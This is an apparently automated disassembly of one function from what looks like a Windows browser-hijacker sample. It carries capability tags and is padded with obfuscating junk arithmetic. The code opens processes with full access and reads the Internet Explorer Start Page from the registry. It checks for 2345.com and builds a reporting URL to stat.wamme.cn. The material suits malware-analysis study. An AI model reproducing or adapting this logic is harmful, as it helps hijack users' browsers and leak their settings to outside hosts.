Function at 0x4118e0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f7bd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.00425210
mov eax, dword [0x452944]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x4518e8]
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x926
sub edx, eax
mov eax, dword [0x4518dc]
sub edx, dword [0x4518d8]
lea esi, [edx + eax + 0x1503]
mov eax, 0x4152dddf
imul ecx
mov edi, dword [0x4518ec]
imul edi, edi, 0xfffff5f8
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x4518f0]
mov eax, 0x6a79dd7b
imul ecx
mov ecx, dword [0x4518d4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
xor ebx, ebx
add edi, esi
lea edx, [ecx + edi - 0x86c]
mov dword [ebp - 0x10f4], ebx
mov dword [str._r_____r_____n], esi
mov dword [ebp - 4], ebx
mov dword [0x4518d4], edx
mov dword [ebp - 0x10dc], ebx
lea eax, [ebp - 0x10dc]
push eax
push 0x442078
push 0x17
push ebx
push 0x446864
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x4518e8]
mov edi, eax
mov eax, 0x8b081419
imul esi
add edx, esi
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, ecx
mov ecx, dword [0x4518dc]
mov dword [ebp - 0x10e0], eax
mov eax, 0xa5b2ed37
imul ecx
mov ecx, dword [ebp - 0x10e0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, dword [0x4518ec]
mov ecx, dword [0x4518f4]
lea edx, [eax + ecx - 0x866]
cmp edi, ebx
mov dword [0x4518dc], edx
jge 0x411a86
mov ecx, dword [0x4518d8]
mov eax, 0x61dea4df
imul ecx, ecx, 0x1538
imul esi
mov esi, dword [0x4518f0]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
imul edx, edx, 0x4cf
sub ecx, eax
add ecx, esi
lea eax, [edx + ecx + 0x14d5]
mov dword [0x4518e0], eax
mov eax, dword [ebp - 0x10dc]
cmp eax, ebx
mov byte [ebp - 4], bl
je 0x411b46
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x4133e6
mov esi, dword [0x4518e0]
imul ecx, ecx, 0x86d
mov eax, 0x8c03f71d
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
mov esi, eax
mov eax, 0x1bfba0af
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
add eax, 0x322e
mov dword [0x4518e4], eax
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x10e8]
push edx
mov dword [ebp - 0x10e8], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ebx, dword [0x4518d8]
mov ecx, dword [0x4518dc]
mov edx, dword [0x4518e0]
imul ecx, ecx, 0xa08
mov eax, ebx
imul edx, edx, 0x86d
imul eax, eax, 0xfad
sub ecx, eax
add ecx, edx
mov eax, 0x6a79dd7b
imul ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov dword [0x4518e8], ecx
jne 0x411b4d
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 0
je 0x411b46
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x4133e6
mov eax, 0x5a4d12c9
imul ebx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0xb57
sub edx, eax
mov eax, dword [0x4518e4]
imul eax, eax, 0x687
lea esi, [edx + eax - 0x86c]
mov eax, dword [ebp + 8]
test eax, eax
mov dword [0x4518ec], esi
je 0x411be4
mov esi, dword [0x4518f0]
imul ecx, ecx, 0x1d41
mov eax, 0x8b081419
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d4]
imul edx, edx, 0x14ed
sub ecx, eax
add ecx, edx
sub ecx, ebx
add ecx, 0x1339
mov dword [0x4518f0], ecx
mov ecx, 0x563980
call fcn.004062a0
mov ebx, dword [0x4518d8]
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518ec]
mov eax, 0x61dea4df
imul esi, esi, 0x1d41
imul dword [0x4518e4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
imul edx, edx, 0x1538
mov edi, eax
sub edi, esi
add edi, edx
mov eax, 0x4152dddf
imul dword [str._r_____r_____n]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0x86c
xor esi, esi
mov dword [0x4518f4], edi
mov dword [ebp - 0x10ec], esi
lea esp, [esp]
cmp esi, dword [ebp - 0x10e8]
jge 0x413391
mov eax, 0x6614bc37
imul edi, edi, 0x926
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518dc]
sub edi, ecx
sub edi, ebx
lea eax, [edi + edx + 0x1503]
mov dword [str._r_____r_____n], eax
mov dword [ebp - 0x10d4], 0
mov eax, esi
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10dc]
mov edx, dword [ecx]
lea esi, [ebp - 0x10d4]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x4518e8]
mov eax, 0x8b081419
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
mov esi, eax
mov eax, 0xa5b2ed37
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
sub eax, esi
mov esi, dword [0x4518ec]
sub eax, esi
test edi, edi
lea eax, [eax + edx - 0x866]
mov dword [0x4518dc], eax
jge 0x411d4f
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x413371
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41336b
mov edx, dword [0x4518d8]
mov ecx, eax
mov eax, dword [0x4518e0]
imul ecx, ecx, 0xa08
imul eax, eax, 0x86d
mov edi, edx
imul edi, edi, 0xfad
sub ecx, edi
add ecx, eax
mov eax, 0x6a79dd7b
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d4]
xor edi, edi
test eax, eax
mov dword [0x4518e8], ecx
mov dword [ebp - 0x10c8], edi
je 0x411dc2
mov ecx, dword [eax]
lea edx, [ebp - 0x10c8]
push edx
push 0x4420d0
push eax
call dword [ecx]
mov edi, dword [ebp - 0x10c8]
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518ec]
imul esi, esi, 0xfffff5f8
mov ebx, dword [0x4518f0]
mov eax, 0x4152dddf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6a79dd7b
imul ebx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test edi, edi
mov edx, dword [0x4518d4]
lea eax, [edx + esi - 0x86c]
mov dword [0x4518d4], eax
jne 0x411e2f
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x413371
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41336b
mov esi, dword [0x4518d8]
mov eax, esi
imul eax, eax, 0x1538
mov dword [ebp - 0x10cc], eax
mov eax, 0x61dea4df
imul ecx
mov ecx, dword [ebp - 0x10cc]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x4518e4]
mov edx, ecx
imul edx, edx, 0x4cf
add eax, ebx
lea eax, [edx + eax + 0x14d5]
xor ebx, ebx
mov dword [0x4518e0], eax
mov dword [ebp - 0x10cc], ebx
imul ecx, ecx, 0x687
mov eax, 0x5a4d12c9
imul esi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0xb57
sub eax, edx
lea eax, [eax + ecx - 0x86c]
lea edx, [ebp - 0x10cc]
push edx
mov dword [0x4518ec], eax
mov ecx, dword [edi]
push edi
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
cmp eax, ebx
jl 0x41287b
mov ecx, dword [0x4518dc]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
mov ecx, dword [0x4518f4]
mov esi, dword [ebp - 0x10cc]
imul ecx, ecx, 0x926
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
imul edx, edx, 0x1538
add eax, edx
sub eax, ecx
mov ecx, dword [0x4518e0]
sub eax, ecx
add eax, 0x2044
cmp esi, ebx
mov dword [0x4518d8], eax
mov dword [ebp - 0x10d8], ebx
je 0x411f3f
mov edx, dword [esi]
lea eax, [ebp - 0x10d8]
push eax
push 0x4420e0
push esi
call dword [edx]
mov esi, dword [ebp - 0x10cc]
mov ecx, dword [0x4518e0]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [0x4518e4]
mov eax, 0x1bfba0af
imul ecx
mov ecx, dword [0x4518f4]
sar edx, 8
imul ecx, ecx, 0x86d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
sub eax, ecx
add eax, 0x322e
mov dword [0x4518e4], eax
cmp dword [ebp - 0x10d8], ebx
mov byte [ebp - 4], 6
jne 0x411fca
cmp esi, ebx
mov byte [ebp - 4], 4
je 0x411f9f
mov edx, dword [esi]
push esi
call dword [edx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x411fb3
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41336b
jmp 0x413365
push ebx
call fcn.004251cf
sub eax, dword [0x563bd8]
add esp, 4
cmp eax, 0x708
jge 0x41208d
mov eax, dword [ebp - 0x10c8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1100]
push edx
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1100]
lea eax, [ebp - 0x10e0]
push eax
push ecx
mov dword [ebp - 0x10e0], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [ebp - 0x10e0]
cmp eax, ebx
je 0x412852
push eax
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, eax
cmp edx, ebx
je 0x41208d
mov ax, word [0x442acc]
mov cl, byte [0x442ace]
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push ebx
push edx
call sub.PSAPI.DLL_GetModuleFileNameExA
lea ecx, [ebp - 0x2c4]
push str.startup.exe
push ecx
call fcn.00425900
add esp, 8
test eax, eax
jne 0x412867
mov ecx, dword [0x4518f0]
mov eax, 0x8b081419
imul ecx
add edx, ecx
mov ecx, dword [0x4518e8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x4518d8]
mov edx, ecx
imul edx, edx, 0x1d41
sub edx, eax
mov eax, dword [0x4518d4]
imul eax, eax, 0x14ed
add edx, eax
mov eax, dword [ebp + 8]
sub edx, edi
add edx, 0x1339
mov dword [0x4518f0], edx
mov edx, dword [ebp - 0x10f4]
inc edx
cmp eax, ebx
mov dword [ebp - 0x10f4], edx
je 0x4132bd
push ecx
lea edx, [ebp - 0x10c8]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00406d60
mov ecx, 0x563980
call fcn.004063c0
test al, al
mov ecx, dword [0x4518e8]
jne 0x4132bd
mov esi, dword [0x4518f4]
mov edi, dword [0x4518d8]
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x926
sub edx, eax
sub edx, edi
mov edi, dword [0x4518dc]
lea eax, [edx + edi + 0x1503]
mov dword [str._r_____r_____n], eax
mov eax, 0x8b081419
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xa5b2ed37
imul edi
mov edi, dword [0x4518ec]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, edi
lea ecx, [eax + esi - 0x866]
mov eax, dword [ebp - 0x10c8]
mov dword [0x4518dc], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x110c]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x4518d8]
mov esi, dword [0x4518dc]
mov eax, dword [0x4518e0]
imul esi, esi, 0xa08
mov edx, ecx
imul eax, eax, 0x86d
imul edx, edx, 0xfad
sub esi, edx
add esi, eax
mov eax, 0x6a79dd7b
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x110c]
sub esi, ecx
push edx
mov dword [0x4518e8], esi
call fcn.0041aa70
mov ecx, dword [0x4518e8]
mov edi, dword [0x4518d8]
mov dword [ebp - 0x10d0], eax
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [0x4518f4]
imul ecx, ecx, 0x926
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0x1503]
mov dword [str._r_____r_____n], eax
mov eax, dword [ebp - 0x10d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1104]
push edx
xor edi, edi
push eax
call dword [ecx + 0x90]
mov ecx, dword [0x4518dc]
mov esi, eax
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
mov ecx, dword [0x4518ec]
sar edx, 0xc
imul ecx, ecx, 0x1538
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x926
add eax, ecx
sub eax, edx
sub eax, dword [0x4518e0]
add eax, 0x2044
cmp esi, ebx
mov dword [0x4518d8], eax
jne 0x4122a9
mov eax, dword [ebp - 0x1104]
push eax
call fcn.0041aa70
mov edi, eax
push ebx
call fcn.004251cf
sub eax, dword [0x56393c]
add esp, 4
cmp eax, 5
jle 0x412cc0
test edi, edi
je 0x4122e2
mov eax, edi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4122d0
sub eax, edx
cmp eax, 5
ja 0x412cc0
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518d8]
mov eax, 0x61dea4df
imul esi, esi, 0x1538
imul ecx
mov eax, dword [0x4518f0]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518e4]
imul edx, edx, 0x4cf
sub esi, ecx
add esi, eax
lea eax, [edx + esi + 0x14d5]
mov dword [0x4518e0], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x412331
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.0041a910
mov ecx, dword [0x4518e4]
mov esi, dword [0x4518ec]
mov dword [ebp - 0x10fc], eax
imul esi, esi, 0x1d41
mov eax, 0x61dea4df
imul ecx
mov ecx, dword [0x4518dc]
sar edx, 0xb
imul ecx, ecx, 0x1538
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, esi
add ebx, ecx
mov ecx, dword [str._r_____r_____n]
mov eax, 0x4152dddf
imul ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x442ab0]
sub ebx, eax
mov eax, dword [0x442ab4]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x442ab8]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x442abc]
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x4518e8]
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [0x4518dc]
sub ebx, 0x86c
mov dword [0x4518f4], ebx
imul ebx, ebx, 0x926
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d8]
sub ebx, eax
lea eax, [ebp - 0x10f0]
push eax
push 0xf003f
sub ebx, edx
lea edx, [ebx + ecx + 0x1503]
push 0
lea ecx, [ebp - 0x40]
push ecx
push SysReAllocString
mov dword [ebp - 0x10f0], 0
movsw word es:[edi], word [esi]
mov dword [str._r_____r_____n], edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x412689
mov ecx, dword [0x4518e0]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
imul ecx, ecx, 0x86d
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
mov esi, eax
mov eax, 0x1bfba0af
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
sub eax, esi
imul edx, edx, 0x86d
sub eax, edx
mov edx, dword [0x4518e8]
mov esi, dword [0x4518ec]
add eax, 0x322e
imul esi, esi, 0xfffff5f8
mov dword [0x4518e4], eax
mov eax, 0x4152dddf
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f0]
sub esi, eax
mov eax, 0x6a79dd7b
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d4]
sub esi, eax
add esi, dword [str._r_____r_____n]
lea eax, [edx + esi - 0x86c]
mov edx, dword [0x4518d8]
mov esi, dword [0x4518dc]
mov dword [0x4518d4], eax
imul esi, esi, 0xa08
mov eax, edx
imul eax, eax, 0xfad
sub esi, eax
mov eax, 0x6a79dd7b
imul edx
add esi, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x10f8]
push edx
mov edx, dword [ebp - 0x10f0]
sub esi, ecx
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x10e4]
push ecx
push 0
push str.Start_Page
mov edi, 1
push edx
mov dword [ebp - 0x10f8], 0x104
mov dword [0x4518e8], esi
mov dword [ebp - 0x10e4], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x412689
mov ecx, dword [0x4518dc]
mov eax, 0x8c03f71d
imul ecx
mov eax, dword [0x4518ec]
add edx, ecx
imul eax, eax, 0x1538
sar edx, 0xc
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x926
add esi, eax
mov eax, dword [0x4518e0]
sub esi, edx
mov edx, dword [0x563c74]
sub esi, eax
add esi, 0x2044
test edx, edx
mov dword [0x4518d8], esi
jne 0x41269a
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00425900
add esp, 8
test eax, eax
jne 0x412618
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00425900
add esp, 8
test eax, eax
je 0x412689
mov ecx, dword [0x4518e8]
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [0x4518f4]
imul ecx, ecx, 0x926
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
sub ecx, eax
sub ecx, dword [0x4518d8]
lea eax, [ecx + edx + 0x1503]
lea ecx, [ebp - 0x144]
push ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x563ce8
mov dword [str._r_____r_____n], eax
mov dword [0x563c74], edi
call fcn.004250ea
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [0x4518d8]
mov ecx, dword [0x4518dc]
mov eax, dword [0x4518e0]
imul ecx, ecx, 0xa08
imul eax, eax, 0x86d
mov edx, esi
imul edx, edx, 0xfad
sub ecx, edx
add ecx, eax
mov eax, 0x6a79dd7b
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4518e8], ecx
mov ecx, dword [ebp - 0x10f0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518ec]
mov edi, dword [0x4518f0]
imul esi, esi, 0xfffff5f8
mov eax, 0x4152dddf
imul ecx
imul ecx, ecx, 0x1d41
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6a79dd7b
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d4]
sub esi, eax
add esi, dword [str._r_____r_____n]
mov ebx, dword [0x4518d8]
lea esi, [edx + esi - 0x86c]
mov eax, 0x8b081419
imul edi
mov dword [0x4518d4], esi
imul esi, esi, 0x14ed
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10d8]
add ecx, esi
sub ecx, ebx
add ecx, 0x1339
lea edx, [ebp - 0x1108]
push edx
mov dword [0x4518f0], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x1108]
push eax
jmp 0x56e402
push str.startup.exe
call fcn.00403ab0
add esp, 4
test eax, eax
jle 0x41208d
mov eax, dword [ebp - 0x10d8]
cmp eax, ebx
mov byte [ebp - 4], 5
je 0x41287b
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10cc]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41288f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10c8]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x4128a3
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x41336b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41336b
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518ec]
mov edi, dword [0x4518f0]
imul esi, esi, 0xfffff5f8
mov eax, 0x4152dddf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ebx, dword [ebp - 0x10d0]
mov eax, 0x6a79dd7b
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
sub esi, eax
add esi, edx
test ebx, ebx
mov edx, dword [0x4518d4]
lea esi, [edx + esi - 0x86c]
mov dword [0x4518d4], esi
je 0x4131a4
mov eax, ebx
lea edx, [eax + 1]
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412d32
sub eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d0], eax
je 0x4131a4
mov esi, dword [0x4518d8]
mov eax, 0x61dea4df
imul esi, esi, 0x1538
imul ecx
mov ecx, dword [0x4518e4]
sar edx, 0xb
imul ecx, ecx, 0x4cf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, edi
lea edx, [ecx + esi + 0x14d5]
push 0xffffffffffffffff
push 0x564df0
lea ecx, [ebp - 0x1138]
mov dword [0x4518e0], edx
call fcn.00405c20
mov ecx, dword [0x4518d8]
mov eax, 0x5a4d12c9
imul ecx
mov ecx, dword [str._r_____r_____n]
imul ecx, ecx, 0xb57
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
sub ecx, eax
imul edx, edx, 0x687
lea edi, [ecx + edx - 0x86c]
mov byte [ebp - 4], 7
mov dword [0x4518ec], edi
mov esi, 0x5645e8
mov eax, ebx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x412e04
test cl, cl
je 0x412e00
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x412e04
add eax, 2
add esi, 2
test cl, cl
jne 0x412de0
xor eax, eax
jmp 0x412e09
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x413183
mov ecx, dword [0x4518dc]
imul edi, edi, 0x1538
mov esi, dword [0x4518f4]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, esi
imul eax, eax, 0x926
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, edi
mov edi, dword [0x4518e0]
sub ecx, eax
sub ecx, edi
mov eax, ebx
add ecx, 0x2044
lea edx, [eax + 1]
mov dword [0x4518d8], ecx
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412e61
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x412e8c
mov edx, ebx
mov esi, 0x5645e8
lea esp, [esp]
mov al, byte [edx]
inc edx
mov byte [esi], al
inc esi
test al, al
jne 0x412e80
jmp 0x412ef1
mov eax, 0x8c03f71d
imul esi, esi, 0x86d
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0x1bfba0af
imul dword [0x4518e4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
sub eax, esi
add eax, 0x322e
push 0x7ff
mov dword [0x4518e4], eax
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x5645e8
push 0x5645e8
rep stosd dword es:[edi], eax
call fcn.00425c30
mov ecx, dword [0x4518d8]
add esp, 0xc
mov esi, dword [0x4518f0]
mov eax, 0x8b081419
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e8]
imul edx, edx, 0x1d41
sub edx, eax
mov eax, dword [0x4518d4]
imul eax, eax, 0x14ed
add edx, eax
sub edx, ecx
add edx, 0x1339
mov eax, 0x563ce8
mov dword [0x4518f0], edx
lea edx, [eax + 1]
jmp 0x412f40
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412f40
sub eax, edx
cmp eax, 5
jbe 0x413183
push str.ConfigL6
push ebx
call fcn.00415570
add esp, 8
test eax, eax
jne 0x413183
mov ecx, dword [0x4518e4]
mov esi, dword [0x4518ec]
mov eax, 0x61dea4df
imul esi, esi, 0x1d41
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518dc]
imul edx, edx, 0x1538
mov edi, ecx
mov ecx, dword [str._r_____r_____n]
sub edi, esi
add edi, edx
mov eax, 0x4152dddf
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, 0x86c
push 0x132b600
mov dword [0x4518f4], edi
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x413037
mov ecx, dword [0x4518e8]
mov eax, 0x6614bc37
imul ecx
mov eax, dword [0x4518dc]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x926
sub edx, ecx
sub edx, dword [0x4518d8]
lea ecx, [edx + eax + 0x1503]
push 0x64
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x563ce8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413023
sub eax, edx
mov dword [ebp - 0x10d0], eax
je 0x413037
inc esi
jmp 0x412fd1
mov ecx, dword [0x4518dc]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
mov ecx, dword [0x4518ec]
sar edx, 0xc
imul ecx, ecx, 0x1538
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x926
add eax, ecx
